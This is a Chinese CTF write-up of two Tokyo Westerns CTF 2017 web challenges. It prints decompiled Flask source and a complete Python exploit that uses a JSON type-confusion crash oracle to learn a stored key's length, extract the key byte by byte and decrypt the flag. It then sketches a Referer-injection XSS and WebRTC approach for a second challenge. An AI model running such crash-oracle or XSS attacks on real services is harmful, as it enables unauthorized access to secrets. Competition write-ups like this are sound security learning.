最近洒家参加了 Tokyo Westerns CTF 2017,做了几道 Web 题。洒家去年也参加了这个 CTF,但是今年情况发生了很多变化。今年的 CTF 采用了动态分数制,Web 题目数量减少,除了热身题只有两道,难度也都增加了很多。而洒家前一段时间在忙考研/保研等一堆破事,长时间没有关注信息安全,连 Web 题的初步操作都不熟练了。
这里已经有了写得相当不错的 write up,因此以下内容写得简略一些,详情可以看这些 write up。
Super Secure Storage¶
题目链接:http://s3.chal.ctf.westerns.tokyo/
洒家长期不搞 Web 题明显生疏了很多,一开始上手都忘了怎么搞了,连 /robots.txt
都是学弟找到的。根据找到的配置文件可以知道这是一个使用了 Nginx、uWSGI 的 Python 应用,数据库是 SQLite。网站禁止了 .py
请求,测试了一波 app.pyc
等文件名都无法访问,猜测可能是 Python 3,然后在 http://s3.chal.ctf.westerns.tokyo/__pycache__/app.cpython-35.pyc
搞到了源码。
# encoding: utf-8
# uncompyle6 version 2.11.5
# Python bytecode 3.5 (3350)
# Decompiled from: Python 2.7.12 (default, Nov 19 2016, 06:48:10)
# [GCC 5.4.0 20160609]
# Embedded file name: ./app.py
# Compiled at: 2017-09-02 11:38:15
# Size of source mod 2**32: 3340 bytes
from flask import Flask, jsonify, request
from flask_sqlalchemy import SQLAlchemy
import hashlib
import os
app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///./db.sqlite3'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True
app.secret_key = os.environ['SECRET_KEY']
db = SQLAlchemy(app)
# 数据库:id, key: 用户密码被 SECRET_KEY 加密的密文,data: 信息被用户密码加密后的密文
class Data(db.Model):
__tablename__ = 'data'
id = db.Column(db.Integer, primary_key=True)
key = db.Column(db.String)
data = db.Column(db.String)
def __init__(self, key, data):
self.key = key
self.data = data
def __repr__(self):
return '<Data id:{}, key:{}, data:{}>'.format(self.id, self.key, self.data)
class RC4:
def __init__(self, key=app.secret_key): # 默认加密 key 是 secret key
self.stream = self.PRGA(self.KSA(key))
def enc(self, c):
return chr(ord(c) ^ next(self.stream)) # ord() 函数可能导致 crash
@staticmethod
def KSA(key):
keylen = len(key)
S = list(range(256))
j = 0
for i in range(256):
j = j + S[i] + ord(key[i % keylen]) & 255
S[i], S[j] = S[j], S[i]
return S
@staticmethod
def PRGA(S):
i = 0
j = 0
while True:
i = i + 1 & 255
j = j + S[i] & 255
S[i], S[j] = S[j], S[i]
yield S[S[i] + S[j] & 255]
# 漏洞:当 input_pass 数据类型不为 str 就可能 crash
# 正确 "12345678"
# "12345678" true
# ["1"] [1] false 长度不同
# [1, 2, 3, 4, 5, 6, 7, 8] crash
# [[],"aa",{},1.23,[],None,[],None] crash
# ["1","2","3","4","5","6","7","8"] true list 也可以 zip
def verify(enc_pass, input_pass):
if len(enc_pass) != len(input_pass):
return False
rc4 = RC4()
for x, y in zip(enc_pass, input_pass): # 时间上存在侧信道攻击 但是并无卵用
if x != rc4.enc(y):
return False
return True
@app.before_first_request
def init():
db.create_all()
if not Data.query.get(1):
key = os.environ['KEY'] # 加密 flag 的 key
data = os.environ['FLAG'] # flag
rc4 = RC4()
enckey = ''
for c in key:
enckey += rc4.enc(c) # 用 secret key 加密 key
rc4 = RC4(key) # 用 key 加密 data
encdata = ''
for c in data:
encdata += rc4.enc(c)
flag = Data(enckey, encdata)
db.session.add(flag)
db.session.commit()
@app.route('/api/data', methods=['POST']) # 增加新消息
def new():
req = request.json
if not req:
return jsonify(result=False)
for k in ['data', 'key']:
if k not in req:
return jsonify(result=False)
key, data = req['key'], req['data']
if len(key) < 8 or len(data) == 0: # key 长度至少 8 位
return jsonify(result=False)
enckey = ''
rc4 = RC4()
for c in key:
enckey += rc4.enc(c)
encdata = ''
rc4 = RC4(key)
for c in data:
encdata += rc4.enc(c)
newdata = Data(enckey, encdata)
db.session.add(newdata)
db.session.commit()
return jsonify(result=True, id=newdata.id, data=newdata.data)
@app.route('/api/data/<int:data_id>')
def data(data_id):
data = Data.query.get(data_id)
if not data:
return jsonify(result=False)
return jsonify(result=True, data=data.data)
# 检查 key:发送 key, data_id
@app.route('/api/data/<int:data_id>/check', methods=['POST'])
def check(data_id):
data = Data.query.get(data_id) # 查数据库
if not data:
return jsonify(result=False)
req = request.json
if not req:
return jsonify(result=False)
for k in ['key']:
if k not in req:
return jsonify(result=False)
enckey, key = data.key, req['key']
if not verify(enckey, key):
return jsonify(result=False)
return jsonify(result=True)
if __name__ == '__main__':
app.run()
# okay decompiling app.cpython-35.pyc
网站前端用了 Vue.js,后端有 3 个 API:
POST /api/data
,json 发送 key 和 data,增加一条信息GET /api/data/<int:data_id>
,获得密文POST /api/data/<int:data_id>/check
,json 发送 key,检查密钥
这代码看来看去,只想到了几条错误思路:
- 由于用了 SQLAlchemy,SQL 注入不太可行。
- 暴力破解:纯属扯淡。最后证实密码有 16 位,不可能在规定时间内爆破出来。
- 密码学:并不会。
- 实在找不到漏洞,洒家发现
verify()
函数检测到字节错误直接返回False
,然后突发奇想想试试侧信道的时序攻击。但是一番测试之后发现verify()
函数的运行时间差远小于网络扰动造成的时间差,无法得到代码运行的时间差。
看了 Write up 之后恍然大悟,问题仍然出在 verify()
函数上,但是正确的解法利用了程序没有对参数的数据类型做检验的弱点。verify()
的 input_pass
参数是从用户 POST
的 json
数据得到,本身可以是任何 json
可以表示的数据类型。input_pass
可以是一个 list
,它的内容可以是 str
、int
、None
、list
、dict
等。对于这个参数,["1","2","3","4","5","6","7","8"]
就等价于 "12345678"
。如果 for
循环到达了 int
、None
等不合法类型的成员变量,在 rc4.enc()
中就会作为参数进入 ord()
,造成程序崩溃。利用这一点可以得出以下解题思路。由于 verify()
函数首先使用 len()
监测 key
的长度,长度不匹配会立即返回,我们可以构造不同长度的不合法 list
造成程序崩溃来探测 key
的长度;由于 verify()
函数检测到字节错误会立即返回,我们可以控制程序的崩溃,逐字节获得 key
。
这个原理详见这篇 write up。
根据这个思路可以写出 exploit:
import os
import sys
import json
import logging
import string
logging.basicConfig(level=logging.INFO,
format='%(asctime)s [%(levelname)s]:%(message)s',
datefmt='%H:%M:%S',
stream=sys.stdout)
import requests
TARGET_ID = 1
HOST = 'http://s3.chal.ctf.westerns.tokyo'
ALPHABET = string.ascii_lowercase + string.digits + string.ascii_uppercase
sess = requests.Session()
sess.proxies = {'http': 'http://127.0.0.1:8080'} # None
if sess.proxies != None:
logging.warning('Using proxy %s',repr(sess.proxies))
def rc4_crypt(data, key):
"""RC4 algorithm"""
x = 0
box = range(256)
for i in range(256):
x = (x + box[i] + ord(key[i % len(key)])) % 256
box[i], box[x] = box[x], box[i]
x = y = 0
out = []
for char in data:
x = (x + 1) % 256
y = (y + box[x]) % 256
box[x], box[y] = box[y], box[x]
out.append(chr(ord(char) ^ box[(box[x] + box[y]) % 256]))
return ''.join(out)
def save_data(data, key):
url = HOST + '/api/data'
json_data = {'data': data, 'key': key}
# r = sess.post(url, json=json_data) # requests buggy sending binary data
post_data = json.dumps(json_data, encoding='latin-1', separators=(',', ':'))
headers = {'Content-Type': 'application/json;charset=UTF-8'}
r = sess.post(url, data=post_data, headers=headers)
result = r.json()
logging.info('data=%s key=%s saved=%s', repr(data), repr(key), repr(result['result']))
logging.info('id=%s cipher=%s', repr(result['id']), repr(result['data']))
def check(id, json_data):
url = (HOST + '/api/data/{id}/check').format(id=id)
r = sess.post(url, json=json_data)
assert r.status_code == 200
return (r.json())['result']
def get_key_len(id):
for length in xrange(32):
json_data = {'key': [0] * length}
try:
check(id, json_data)
except AssertionError:
return length
# not strict if ALPHABET is not enough
def get_key(id, length):
key_list = [0] * length
for place in xrange(length):
for i in xrange(len(ALPHABET)):
key_list[place] = ALPHABET[i]
json_data = {'key': key_list}
try:
if check(id, json_data):
break
except AssertionError:
break
logging.info('key[%d] is %s', place, ALPHABET[i])
return ''.join(key_list)
def get_data(id, key):
url = (HOST + '/api/data/{id}').format(id=id)
r = sess.get(url)
result = r.json()
if result['result']:
cipher = result['data']
return rc4_crypt(cipher, key)
else:
logging.info('get cipher error')
return None
def auto_get_data(id):
logging.info('retrieving key length...')
length = get_key_len(id)
logging.info('key length for id %d is %d', id, length)
logging.info('retrieving key ...')
key = get_key(id, length)
logging.info('key for id %d is %s', id, repr(key))
data = get_data(id, key)
logging.info('data for id %d is %s', id, repr(data))
return data
if __name__ == "__main__":
# save_data('this is a secret','aaaaaaaa')
# save_data(rc4_crypt('i want you see directly','aaaaaaaa'),'aaaaaaaa') # reverse plain and cipher
# save_data(rc4_crypt('<script>alert(1);</script>', 'aaaaaaaa'), 'aaaaaaaa') # no xss
# auto_get_data(81527) # a test, key: abcdefgh data: aabbccddeeffgghh
flag = auto_get_data(TARGET_ID)
# save_data(rc4_crypt(flag, 'aaaaaaaa'), 'aaaaaaaa') # http://s3.chal.ctf.westerns.tokyo/#/data/81539
另外根据这条评论,有人在这条消息中泄露了 flag,这条消息的密文就就是明文的 flag。这是用了 rc4 的对称加密的性质实现的,先把 flag 加密,然后提交密文和加密的密钥,服务器上二次“加密”,就能使密文等于明文的 flag。上面的 exploit 提供了一键搅屎的函数。
改变输入数据的类型是测试一个系统常见的思路,以前在 PHP、MongoDB 等场合下经常使用。可惜洒家这次遇到了 Python 和 Json 就没有想到这一点,由此对做出这题的人表示佩服。
Clock Style Sheet¶
write up 参考 https://blog.tyage.net/?p=1043
题目链接 http://css.chal.ctf.westerns.tokyo/
提供了 2 个文件:
proxy.py
代理服务器sanitizer.py
过滤的函数,在proxy.py
和/refersh
中都有调用
这题出得略有问题,题目目的有点迷。有 4 个页面:
/
首页是一个纯 CSS 实现的钟表。有一个 js,运行就会跳转到 please disable javascript,因此必须关闭 JS 功能才能正常看到这个表。/chrowler/
一段selenium
代码,运行 Chrome 访问用户提供的 URL。页面上的代码写着options.add_argument('--disable-javascript')
,当时想来想去觉得直接在浏览器上禁用了 JavaScript 肯定无解了。刚才试了一下,实际上并没有禁用 JavaScript,洒家被这行代码误导了。/flag
需要用局域网访问的 flag/refresh
比赛的时候没有仔细看。。。被首页调用。看似是因为首页不能执行 js 所以搞了个跳转页面,实际上出题人的目的是增大了攻击面。这个页面跳转到Referer
,可以在Referer
里面插入 payload。
大致思路:
/refresh
的referer
被过滤,可以绕过,造成 XSS- 从自己的服务器跳转到
/refresh
,跳转前使用history.pushState
修改 Referer 插入 payload - 使用 WebRTC 找出 chrowler 的 IP,然后猜出 Web 服务器的 IP,拿到 flag。